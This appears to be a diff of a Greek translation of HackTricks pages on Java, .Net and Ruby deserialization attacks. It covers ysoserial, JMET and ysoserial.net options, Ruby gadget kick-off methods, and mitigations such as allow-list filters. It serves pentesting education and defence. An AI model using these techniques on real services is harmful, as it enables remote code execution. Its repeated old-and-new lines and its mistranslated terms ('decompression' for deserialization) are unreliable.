Δεν είναι όλα σχετικά με το αν χρησιμοποιείται κάποια ευάλωτη βιβλιοθήκη από τον διακομιστή. Μερικές φορές μπορείτε να **αλλάξετε τα δεδομένα μέσα στο σειριακό αντικείμενο και να παρακάμψετε κάποιους ελέγχους** (ίσως να σας δώσει δικαιώματα διαχειριστή μέσα σε μια webapp).\
|
||||
Αν βρείτε ένα java σειριακό αντικείμενο που αποστέλλεται σε μια web εφαρμογή, **μπορείτε να χρησιμοποιήσετε** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **για να εκτυπώσετε με πιο αναγνώσιμο ανθρώπινο τρόπο το σειριακό αντικείμενο που αποστέλλεται**. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους.
|
||||
|
||||
### **Exploit**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Το κύριο εργαλείο για την εκμετάλλευση των Java deserializations είναι το [**ysoserial**](https://github.com/frohoff/ysoserial) ([**κατεβάστε το εδώ**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Μπορείτε επίσης να εξετάσετε τη χρήση του [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) που θα σας επιτρέψει να χρησιμοποιήσετε σύνθετες εντολές (με pipes για παράδειγμα).\
|
||||
Το κύριο εργαλείο για την εκμετάλλευση των Java deserializations είναι [**ysoserial**](https://github.com/frohoff/ysoserial) ([**κατεβάστε το εδώ**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Μπορείτε επίσης να εξετάσετε τη χρήση του [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) το οποίο θα σας επιτρέψει να χρησιμοποιήσετε σύνθετες εντολές (με pipes για παράδειγμα).\
|
||||
Σημειώστε ότι αυτό το εργαλείο είναι **εστιασμένο** στην εκμετάλλευση του **`ObjectInputStream`**.\
|
||||
Θα **ξεκινούσα χρησιμοποιώντας το payload "URLDNS"** **πριν από ένα RCE** payload για να δοκιμάσω αν η ένεση είναι δυνατή. Ούτως ή άλλως, σημειώστε ότι ίσως το payload "URLDNS" να μην λειτουργεί αλλά κάποιο άλλο RCE payload να λειτουργεί.
|
||||
```bash
|
||||
@ -475,7 +475,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
<type>pom</type>
|
||||
</dependency>
|
||||
```
|
||||
**Εγκαταστήστε το maven** και **συγκεντρώστε** το έργο:
|
||||
**Εγκαταστήστε το maven**, και **συγκεντρώστε** το έργο:
|
||||
```bash
|
||||
sudo apt-get install maven
|
||||
mvn clean package -DskipTests
|
||||
@ -512,20 +512,20 @@ private transient double margin; // declared transient
|
||||
```
|
||||
#### Αποφύγετε την σειριοποίηση μιας κλάσης που πρέπει να υλοποιεί το Serializable
|
||||
|
||||
Σε σενάρια όπου ορισμένα **αντικείμενα πρέπει να υλοποιούν τη διεπαφή `Serializable`** λόγω ιεραρχίας κλάσεων, υπάρχει κίνδυνος μη σκόπιμης αποσειριοποίησης. Για να το αποτρέψετε αυτό, βεβαιωθείτε ότι αυτά τα αντικείμενα είναι μη αποσειριοποιήσιμα ορίζοντας μια `final` μέθοδο `readObject()` που ρίχνει πάντα μια εξαίρεση, όπως φαίνεται παρακάτω:
|
||||
Σε σενάρια όπου ορισμένα **αντικείμενα πρέπει να υλοποιούν τη διεπαφή `Serializable`** λόγω ιεραρχίας κλάσεων, υπάρχει κίνδυνος μη σκόπιμης αποσειριοποίησης. Για να το αποτρέψετε, βεβαιωθείτε ότι αυτά τα αντικείμενα είναι μη αποσειριοποιήσιμα ορίζοντας μια `final` μέθοδο `readObject()` που ρίχνει πάντα μια εξαίρεση, όπως φαίνεται παρακάτω:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
}
|
||||
```
|
||||
#### **Ενίσχυση της Ασφάλειας Αποσυναρμολόγησης στην Java**
|
||||
#### **Ενίσχυση της Ασφάλειας Αποσυμπίεσης στην Java**
|
||||
|
||||
**Η προσαρμογή του `java.io.ObjectInputStream`** είναι μια πρακτική προσέγγιση για την ασφάλιση των διαδικασιών αποσυναρμολόγησης. Αυτή η μέθοδος είναι κατάλληλη όταν:
|
||||
**Προσαρμόζοντας το `java.io.ObjectInputStream`** είναι μια πρακτική προσέγγιση για την ασφάλιση των διαδικασιών αποσυμπίεσης. Αυτή η μέθοδος είναι κατάλληλη όταν:
|
||||
|
||||
- Ο κώδικας αποσυναρμολόγησης είναι υπό τον έλεγχό σας.
|
||||
- Οι κλάσεις που αναμένονται για αποσυναρμολόγηση είναι γνωστές.
|
||||
- Ο κώδικας αποσυμπίεσης είναι υπό τον έλεγχό σας.
|
||||
- Οι κλάσεις που αναμένονται για αποσυμπίεση είναι γνωστές.
|
||||
|
||||
Επαναφέρετε τη μέθοδο **`resolveClass()`** για να περιορίσετε την αποσυναρμολόγηση μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει την αποσυναρμολόγηση οποιασδήποτε κλάσης εκτός από αυτές που επιτρέπονται ρητά, όπως στο παρακάτω παράδειγμα που περιορίζει την αποσυναρμολόγηση μόνο στην κλάση `Bicycle`:
|
||||
Ανακαλέστε τη μέθοδο **`resolveClass()`** για να περιορίσετε την αποσυμπίεση μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει την αποσυμπίεση οποιασδήποτε κλάσης εκτός από αυτές που επιτρέπονται ρητά, όπως στο παρακάτω παράδειγμα που περιορίζει την αποσυμπίεση μόνο στην κλάση `Bicycle`:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -568,29 +568,29 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Εκμετάλλευση Εξωτερικών Βιβλιοθηκών για Βελτιωμένη Ασφάλεια**: Βιβλιοθήκες όπως οι **NotSoSerial**, **jdeserialize** και **Kryo** προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσυναρμολόγησης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως η λευκή ή μαύρη λίστα κλάσεων, η ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσυναρμολόγηση και η εφαρμογή προσαρμοσμένων στρατηγικών σειριοποίησης.
|
||||
**Εκμετάλλευση Εξωτερικών Βιβλιοθηκών για Βελτιωμένη Ασφάλεια**: Βιβλιοθήκες όπως οι **NotSoSerial**, **jdeserialize** και **Kryo** προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσυμπίεσης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως η λευκή ή μαύρη λίστα κλάσεων, η ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσυμπίεση και η εφαρμογή προσαρμοσμένων στρατηγικών σειριοποίησης.
|
||||
|
||||
- **NotSoSerial** παρεμβαίνει στις διαδικασίες αποσυναρμολόγησης για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα.
|
||||
- **jdeserialize** επιτρέπει την ανάλυση σειριοποιημένων αντικειμένων Java χωρίς να τα αποσυναρμολογεί, βοηθώντας στην αναγνώριση δυνητικά κακόβουλου περιεχομένου.
|
||||
- **NotSoSerial** παρεμβαίνει στις διαδικασίες αποσυμπίεσης για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα.
|
||||
- **jdeserialize** επιτρέπει την ανάλυση σειριοποιημένων αντικειμένων Java χωρίς να τα αποσυμπιέσει, βοηθώντας στην αναγνώριση δυνητικά κακόβουλου περιεχομένου.
|
||||
- **Kryo** είναι ένα εναλλακτικό πλαίσιο σειριοποίησης που δίνει έμφαση στην ταχύτητα και την αποδοτικότητα, προσφέροντας ρυθμιζόμενες στρατηγικές σειριοποίησης που μπορούν να ενισχύσουν την ασφάλεια.
|
||||
|
||||
### Αναφορές
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- Deserialization και ysoserial ομιλία: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- Ομιλία για gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) και διαφάνειες: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec έγγραφο: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Java και .Net JSON deserialization **έγγραφο:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## JNDI Injection & log4Shell
|
||||
|
||||
Βρείτε τι είναι **JNDI Injection, πώς να το εκμεταλλευτείτε μέσω RMI, CORBA & LDAP και πώς να εκμεταλλευτείτε το log4shell** (και παράδειγμα αυτής της ευπάθειας) στην παρακάτω σελίδα:
|
||||
Βρείτε τι είναι το **JNDI Injection, πώς να το εκμεταλλευτείτε μέσω RMI, CORBA & LDAP και πώς να εκμεταλλευτείτε το log4shell** (και παράδειγμα αυτής της ευπάθειας) στην παρακάτω σελίδα:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -598,11 +598,11 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> Η **Java Message Service** (**JMS**) API είναι μια Java API προσανατολισμένη σε μηνύματα για την αποστολή μηνυμάτων μεταξύ δύο ή περισσότερων πελατών. Είναι μια υλοποίηση για την αντιμετώπιση του προβλήματος παραγωγού-καταναλωτή. Η JMS είναι μέρος της Java Platform, Enterprise Edition (Java EE) και ορίστηκε από μια προδιαγραφή που αναπτύχθηκε από την Sun Microsystems, αλλά από τότε καθοδηγείται από τη διαδικασία της κοινότητας Java. Είναι ένα πρότυπο μηνυμάτων που επιτρέπει στα συστατικά εφαρμογών που βασίζονται σε Java EE να δημιουργούν, να στέλνουν, να λαμβάνουν και να διαβάζουν μηνύματα. Επιτρέπει την επικοινωνία μεταξύ διαφορετικών συστατικών μιας κατανεμημένης εφαρμογής να είναι χαλαρά συνδεδεμένη, αξιόπιστη και ασύγχρονη. (Από [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
> Η **Java Message Service** (**JMS**) API είναι μια Java API προσανατολισμένη σε μηνύματα για την αποστολή μηνυμάτων μεταξύ δύο ή περισσότερων πελατών. Είναι μια υλοποίηση για την αντιμετώπιση του προβλήματος παραγωγού-καταναλωτή. Η JMS είναι μέρος της Java Platform, Enterprise Edition (Java EE) και ορίστηκε από μια προδιαγραφή που αναπτύχθηκε στην Sun Microsystems, αλλά από τότε καθοδηγείται από τη διαδικασία της κοινότητας Java. Είναι ένα πρότυπο μηνυμάτων που επιτρέπει στα συστατικά εφαρμογών που βασίζονται σε Java EE να δημιουργούν, να στέλνουν, να λαμβάνουν και να διαβάζουν μηνύματα. Επιτρέπει την επικοινωνία μεταξύ διαφορετικών συστατικών μιας κατανεμημένης εφαρμογής να είναι χαλαρά συνδεδεμένη, αξιόπιστη και ασύγχρονη. (Από [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### Προϊόντα
|
||||
|
||||
Υπάρχουν αρκετά προϊόντα που χρησιμοποιούν αυτό το middleware για να στέλνουν μηνύματα:
|
||||
Υπάρχουν αρκετά προϊόντα που χρησιμοποιούν αυτό το middleware για την αποστολή μηνυμάτων:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -610,21 +610,21 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
### Εκμετάλλευση
|
||||
|
||||
Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **αρκετά δικαιώματα** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε **κακόβουλα αντικείμενα που έχουν σειριοποιηθεί και θα αποσυναρμολογηθούν από τον καταναλωτή/συνδρομητή**.\
|
||||
Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **αρκετά δικαιώματα** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε **κακόβουλα αντικείμενα που έχουν σειριοποιηθεί και θα αποσυμπιεστούν από τον καταναλωτή/συνδρομητή**.\
|
||||
Αυτό σημαίνει ότι σε αυτή την εκμετάλλευση όλοι οι **πελάτες που θα χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν**.
|
||||
|
||||
Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσυναρμολογεί ανασφαλώς την είσοδο του χρήστη) θα χρειαστεί να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια.
|
||||
Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσυμπιέζει ανασφαλώς την είσοδο του χρήστη) θα χρειαστεί να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια.
|
||||
|
||||
Το εργαλείο [JMET](https://github.com/matthiaskaiser/jmet) δημιουργήθηκε για να **συνδεθεί και να επιτεθεί σε αυτές τις υπηρεσίες στέλνοντας διάφορα κακόβουλα αντικείμενα που έχουν σειριοποιηθεί χρησιμοποιώντας γνωστά gadgets**. Αυτές οι εκμεταλλεύσεις θα λειτουργήσουν αν η υπηρεσία είναι ακόμα ευάλωτη και αν κάποιο από τα χρησιμοποιούμενα gadgets είναι μέσα στην ευάλωτη εφαρμογή.
|
||||
|
||||
### Αναφορές
|
||||
|
||||
- Ομιλία JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Διαφάνειες: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
|
||||
Στο πλαίσιο του .Net, οι εκμεταλλεύσεις αποσυναρμολόγησης λειτουργούν με τρόπο παρόμοιο με εκείνες που βρίσκονται στην Java, όπου τα gadgets εκμεταλλεύονται για να εκτελέσουν συγκεκριμένο κώδικα κατά την αποσυναρμολόγηση ενός αντικειμένου.
|
||||
Στο πλαίσιο του .Net, οι εκμεταλλεύσεις αποσυμπίεσης λειτουργούν με τρόπο παρόμοιο με εκείνες που βρίσκονται στην Java, όπου τα gadgets εκμεταλλεύονται για να εκτελέσουν συγκεκριμένο κώδικα κατά την αποσυμπίεση ενός αντικειμένου.
|
||||
|
||||
### Δακτυλοσκόπηση
|
||||
|
||||
@ -639,20 +639,20 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
#### BlackBox
|
||||
|
||||
Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά **AAEAAAD/////** ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσυναρμολόγηση στην πλευρά του διακομιστή, παρέχοντας έλεγχο πάνω στον τύπο που θα αποσυναρμολογηθεί. Αυτό θα μπορούσε να περιλαμβάνει, αλλά δεν περιορίζεται σε, δομές **JSON** ή **XML** που περιλαμβάνουν `TypeObject` ή `$type`.
|
||||
Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά **AAEAAAD/////** ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσυμπίεση στην πλευρά του διακομιστή, παρέχοντας έλεγχο πάνω στον τύπο που θα αποσυμπιεστεί. Αυτό θα μπορούσε να περιλαμβάνει, αλλά δεν περιορίζεται σε, **JSON** ή **XML** δομές που περιλαμβάνουν `TypeObject` ή `$type`.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
Σε αυτή την περίπτωση μπορείτε να χρησιμοποιήσετε το εργαλείο [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) προκειμένου να **δημιουργήσετε τις εκμεταλλεύσεις αποσυναρμολόγησης**. Αφού κατεβάσετε το git repository θα πρέπει να **συγκεντρώσετε το εργαλείο** χρησιμοποιώντας το Visual Studio για παράδειγμα.
|
||||
Σε αυτή την περίπτωση μπορείτε να χρησιμοποιήσετε το εργαλείο [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) προκειμένου να **δημιουργήσετε τις εκμεταλλεύσεις αποσυμπίεσης**. Αφού κατεβάσετε το git repository θα πρέπει να **συγκεντρώσετε το εργαλείο** χρησιμοποιώντας το Visual Studio για παράδειγμα.
|
||||
|
||||
Αν θέλετε να μάθετε για **πώς δημιουργεί το ysoserial.net την εκμετάλλευσή του** μπορείτε να [**ελέγξετε αυτή τη σελίδα όπου εξηγείται το gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
Οι κύριες επιλογές του **ysoserial.net** είναι: **`--gadget`**, **`--formatter`**, **`--output`** και **`--plugin`.**
|
||||
|
||||
- **`--gadget`** χρησιμοποιείται για να υποδείξει το gadget που θα εκμεταλλευτεί (υποδείξτε την κλάση/συνάρτηση που θα εκμεταλλευτεί κατά την αποσυναρμολόγηση για να εκτελέσει εντολές).
|
||||
- **`--formatter`**, χρησιμοποιείται για να υποδείξει τη μέθοδο για τη σειριοποίηση της εκμετάλλευσης (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το back-end για να αποσυναρμολογήσει το payload και να χρησιμοποιήσετε την ίδια για να το σειριοποιήσετε)
|
||||
- **`--gadget`** χρησιμοποιείται για να υποδείξει το gadget που θα εκμεταλλευτεί (υποδείξτε την κλάση/συνάρτηση που θα εκμεταλλευτεί κατά την αποσυμπίεση για να εκτελέσει εντολές).
|
||||
- **`--formatter`**, χρησιμοποιείται για να υποδείξει τη μέθοδο για τη σειριοποίηση της εκμετάλλευσης (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το back-end για να αποσυμπιέσει το payload και να χρησιμοποιήσετε την ίδια για να το σειριοποιήσετε)
|
||||
- **`--output`** χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε **raw** ή **base64** κωδικοποιημένη. _Σημειώστε ότι το **ysoserial.net** θα **κωδικοποιήσει** το payload χρησιμοποιώντας **UTF-16LE** (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε απλά από μια κονσόλα linux μπορεί να έχετε κάποια **προβλήματα συμβατότητας κωδικοποίησης** που θα εμποδίσουν την εκμετάλλευση να λειτουργήσει σωστά (στην HTB JSON box το payload λειτούργησε και σε UTF-16LE και ASCII αλλά αυτό δεν σημαίνει ότι θα λειτουργεί πάντα)._
|
||||
- **`--plugin`** το ysoserial.net υποστηρίζει plugins για τη δημιουργία **εκμεταλλεύσεων για συγκεκριμένα πλαίσια** όπως το ViewState
|
||||
- **`--plugin`** το ysoserial.net υποστηρίζει plugins για τη δημιουργία **εκμεταλλεύσεων για συγκεκριμένα frameworks** όπως το ViewState
|
||||
|
||||
#### Περισσότερες παράμετροι ysoserial.net
|
||||
|
||||
@ -848,25 +848,25 @@ candidate_methods = repo_methods.select() do |method_name|
|
||||
end
|
||||
candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
### Ruby class pollution
|
||||
### Ρύθμιση κλάσης Ruby
|
||||
|
||||
Ελέγξτε πώς θα μπορούσε να είναι δυνατό να [μολυνθεί μια κλάση Ruby και να καταχραστεί εδώ](ruby-class-pollution.md).
|
||||
|
||||
### Ruby _json pollution
|
||||
### Ρύθμιση _json Ruby
|
||||
|
||||
Όταν στέλνονται στο σώμα κάποιες τιμές που δεν είναι hashable όπως ένας πίνακας, θα προστεθούν σε ένα νέο κλειδί που ονομάζεται `_json`. Ωστόσο, είναι δυνατόν για έναν επιτιθέμενο να ορίσει επίσης στο σώμα μια τιμή που ονομάζεται `_json` με τις αυθαίρετες τιμές που επιθυμεί. Στη συνέχεια, αν το backend για παράδειγμα ελέγξει την αλήθεια μιας παραμέτρου αλλά στη συνέχεια χρησιμοποιήσει επίσης την παράμετρο `_json` για να εκτελέσει κάποια ενέργεια, θα μπορούσε να πραγματοποιηθεί παράκαμψη εξουσιοδότησης.
|
||||
Όταν αποστέλλονται στο σώμα κάποιες τιμές που δεν είναι hashable όπως ένας πίνακας, θα προστεθούν σε ένα νέο κλειδί που ονομάζεται `_json`. Ωστόσο, είναι δυνατόν για έναν επιτιθέμενο να ορίσει επίσης στο σώμα μια τιμή που ονομάζεται `_json` με τις αυθαίρετες τιμές που επιθυμεί. Στη συνέχεια, αν το backend για παράδειγμα ελέγξει την αλήθεια μιας παραμέτρου αλλά στη συνέχεια χρησιμοποιήσει επίσης την παράμετρο `_json` για να εκτελέσει κάποια ενέργεια, θα μπορούσε να πραγματοποιηθεί παράκαμψη εξουσιοδότησης.
|
||||
|
||||
Ελέγξτε περισσότερες πληροφορίες στη [σελίδα Ruby _json pollution](ruby-_json-pollution.md).
|
||||
Ελέγξτε περισσότερες πληροφορίες στη [σελίδα ρύθμισης _json Ruby](ruby-_json-pollution.md).
|
||||
|
||||
### Other libraries
|
||||
### Άλλες βιβλιοθήκες
|
||||
|
||||
Αυτή η τεχνική ελήφθη[ **από αυτήν την ανάρτηση ιστολογίου**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
Υπάρχουν άλλες βιβλιοθήκες Ruby που μπορούν να χρησιμοποιηθούν για την σειριοποίηση αντικειμένων και επομένως θα μπορούσαν να καταχραστούν για να αποκτήσουν RCE κατά τη διάρκεια μιας ανασφαλούς αποσειριοποίησης. Ο παρακάτω πίνακας δείχνει μερικές από αυτές τις βιβλιοθήκες και τη μέθοδο που καλούν από τη φορτωμένη βιβλιοθήκη όποτε αποσειριοποιούνται (λειτουργία για κατάχρηση για να αποκτήσετε RCE βασικά):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Βιβλιοθήκη</strong></td><td><strong>Δεδομένα εισόδου</strong></td><td><strong>Μέθοδος εκκίνησης μέσα στην κλάση</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Δυαδικά</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (η κλάση πρέπει να τοποθετηθεί σε hash(map) ως κλειδί)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (η κλάση πρέπει να τοποθετηθεί σε hash(map) ως κλειδί)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (η κλάση πρέπει να τοποθετηθεί σε hash(map) ως κλειδί)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([δείτε σημειώσεις σχετικά με το json_create στο τέλος](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Basic example:
|
||||
Βασικό παράδειγμα:
|
||||
```ruby
|
||||
# Existing Ruby class inside the code of the app
|
||||
class SimpleClass
|
||||
@ -922,6 +922,6 @@ Oj.load(json_payload)
|
||||
}
|
||||
}
|
||||
```
|
||||
Ελέγξτε για περισσότερες λεπτομέρειες στην [**πρωτότυπη ανάρτηση**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
Δείτε περισσότερες λεπτομέρειες στην [**πρωτότυπη ανάρτηση**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Βασική αποδοχή .Net (ObjectDataProvider gadget, ExpandedWrapper και Json.Net)
|
||||
# Βασική αποσυμπίεση .Net (ObjectDataProvider gadget, ExpandedWrapper και Json.Net)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,11 +8,11 @@
|
||||
|
||||
Από την τεκμηρίωση: _η κλάση ObjectDataProvider περιτυλίγει και δημιουργεί ένα αντικείμενο που μπορείτε να χρησιμοποιήσετε ως πηγή δέσμευσης_.\
|
||||
